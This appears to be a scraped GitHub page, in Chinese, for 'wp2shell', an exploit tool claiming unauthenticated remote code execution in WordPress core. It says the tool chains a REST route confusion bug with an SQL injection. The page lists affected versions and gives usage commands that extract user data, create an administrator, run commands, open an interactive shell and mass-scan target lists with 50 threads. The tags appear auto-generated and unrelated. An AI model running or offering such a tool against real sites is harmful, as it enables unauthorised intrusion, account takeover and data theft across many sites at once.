JohenLastGen-JLG/wp2shell

GitHub: JohenLastGen-JLG/wp2shell

该工具是针对 WordPress 核心的未授权 RCE 概念验证工具,通过组合 REST 路由混淆和 SQL 注入漏洞实现完整的攻击利用链。

Stars: 2 | Forks: 1

# wp2shell - WordPress RCE PoC (CVE-2026-63030 + CVE-2026-60137) **WordPress Core 中的未授权远程代码执行** ## 📌 概述 此工具利用链组合了两个关键的 WordPress 漏洞,以实现**未授权 RCE**: | 漏洞 | CVE | 描述 | |---------------|-----|-------------| | REST Batch Route Confusion | **CVE-2026-63030** | 绕过验证,走私 SQLi payload | | WP_Query author__not_in SQLi | **CVE-2026-60137** | 原始字符串注入 → SQL 执行 | **影响:** 未授权攻击者 → 创建管理员 → 执行命令 ## 🎯 受影响版本 | 版本范围 | 状态 | |---------------|--------| | WordPress 6.9.0 - 6.9.4 | ✅ **存在漏洞** (完整 RCE 利用链) | | WordPress 7.0.0 - 7.0.1 | ✅ **存在漏洞** (完整 RCE 利用链) | | WordPress 6.8.0 - 6.8.5 | ⚠️ 仅 SQLi (需要辅助插件) | | WordPress 6.9.5, 7.0.2+ | ❌ 已修复 | ## 🚀 快速开始 ``` # 1. 检查目标是否存在漏洞 python3 wp2shell.py check https://target.com # 2. 提取数据(指纹/用户) python3 wp2shell.py read https://target.com --preset fingerprint python2 wp2shell.py read https://target.com --preset users # 3. RCE - 创建管理员并执行命令(无需凭据!) python3 wp2shell.py shell https://target.com --cmd "id" # 4. 交互式 shell python3 wp2shell.py shell https://target.com --interactive # 5. 批量扫描多个目标 python3 wp2shell.py scan targets.txt --threads 50 --prove --json results.json ```
标签:CISA项目, Python, Web报告查看器, WordPress, 无后门, 无服务器架构, 演示模式, 逆向工具